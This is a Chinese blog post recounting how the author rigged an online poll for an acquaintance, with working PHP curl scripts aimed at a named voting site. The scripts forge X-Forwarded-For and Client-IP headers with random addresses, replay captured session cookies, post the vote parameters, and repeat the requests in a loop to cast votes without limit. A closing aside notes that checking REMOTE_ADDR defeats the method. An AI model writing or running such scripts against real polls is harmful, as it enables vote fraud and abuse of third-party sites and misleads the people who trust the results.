刷票初体验
起因：
同事的朋友的朋友的妹妹要参加什么投票活动，想让我帮忙刷刷票。抱着研究一下的态度就答应了。跟大家分享下刷票的思路。
思考:
首先，一般网站在做投票处理的时候，都是根据IP来判断的。如果能伪造IP的话，就应该可以实现刷票的功能。
先看一下PHP开源项目discuz获取IP的函数：
//获取客户端ip function get_ip() { if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $ip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $ip = $_SERVER['REMOTE_ADDR']; } return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : ''; }
代码中首先获取的是HTTP_CLIENT_IP这个变量，而这个变量确实是可以伪造的，这就需要用到php的curl扩展。
百度一下curl的用法，最简单使用curl伪造ip代码如下：
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://localhost/2.php"); $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d";//动态生成IP地址 curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //构造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com "); //构造来路 curl_setopt($ch, CURLOPT_HEADER, 1); $out = curl_exec($ch); curl_close($ch);
这样，通过curl我们就可以伪造ip了，似乎刷票的理论基础我们已经明白了，那么现在开始用这套代码来实现刷票。
第一次尝试：
首先先正常投一次票，如图：
我们根据火狐的firebug可以看到，投票的操作用到了ajax的post提交，参数分别有tid和type。那么我们之前的那段代码是针对get方式提交的，看来我们需要修改一下代码，让curl支持post提交方式。修改的代码如下：
$url = "http://www.officeshow.cn/vote.php"; $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d"; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //构造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.gosoa.com.cn/ "); //构造来路 curl_setopt($ch, CURLOPT_HEADER, 0); $out = curl_exec($ch); curl_close($ch);exit;
搞定上面的代码后，让我们来试试刷票吧！运行这个php文件，得出的结果却是失败！那么我们继续探索。
成功搞定：
有很多网站会有cookie和session来存放用户信息，不管用那种，本地的话都会放到cookie里。虽然这个投票并不需要登录，但是有很多网站都会打开就有cookie信息。查看一下这个站点的cookie，博主用的是火狐。
发现这个域下有两个cookie值，bdshare_firstime和PHPSESSID。火狐我们可以得到这两个cookie值，那么我们通过curl把这两个cookie值传过去，那么服务器就会认为这是正常的请求，而我们的刷票功能也就完成了。尝试下，代码如下：
$url = "http://www.officeshow.cn/vote.php"; $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d"; $cookie = "bdshare_firstime=1367826762029; PHPSESSID=15i8mvcir3nlq9prtl63q6lbh4";//设置cookie值 $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip, 'Cookie:'.$cookie)); //构造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com "); //构造来路 curl_setopt($ch, CURLOPT_POSTFIELDS,'tid=2200&type=1'); curl_setopt($ch, CURLOPT_HEADER, 0); ob_start(); $out = curl_exec($ch); $result = ob_get_contents() ; ob_end_clean(); curl_close($ch); echo json_encode(getd('id'));exit;
运行代码，成功！
批量操作：
刷票的代码已经搞定，下面就是批量操作。批量操作其实一个for循环就可以，但是一个请求浏览器有最大时间的限制，这样很不方便。
我用到的是用ajax来循环请求，这样刷到多少票都可以了。
延伸：
在完成这次刷票功能，最关键的是把cookie也传过去了。其实在请求的时候，可以把浏览器正常请求的头信息都发送过去，因为你无法判断服务器那边到底设置了什么样的判断。通过firebug就可以看到头信息。然后用curl把所有的头信息都传过去。
curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie:stQE_45b4_saltkey=njAO8S3G; stQE_45b4_lastvisit=1367823144; stQE_45b4_visitedfid=62D66D79D63; pgv_pvi=9600479659; __utma=29738476.2090210183.1367826762.1367826762.1367826762.1; __utmz=29738476.1367826762.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); bdshare_firstime=1367826762029; stQE_45b4_sid=DG6gx1; stQE_45b4_lastact=1368695577%09forum.php%09viewthread; stQE_45b4_viewid=tid_2200; PHPSESSID=b681ua42r0gpst2gvth6irh9a7; pgv_info=ssi=s2710992270; stQE_45b4_sendmail=1; stQE_45b4_forum_lastvisit=D_63_1368695475D_2_1368695494", 'Host:'.'bbs.officeshow.cn', "Referer:http://bbs.officeshow.cn/forum.php?mod=viewthread&tid=2200", "X-Requested-With: XMLHttpRequest", 'X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip, 'X-Requested-With:XMLHttpRequest'));
后记：
如果服务器端判断IP使用的是$_SERVER['REMOTE_ADDR']的话，那么我们这种刷票办法就没有效果了。
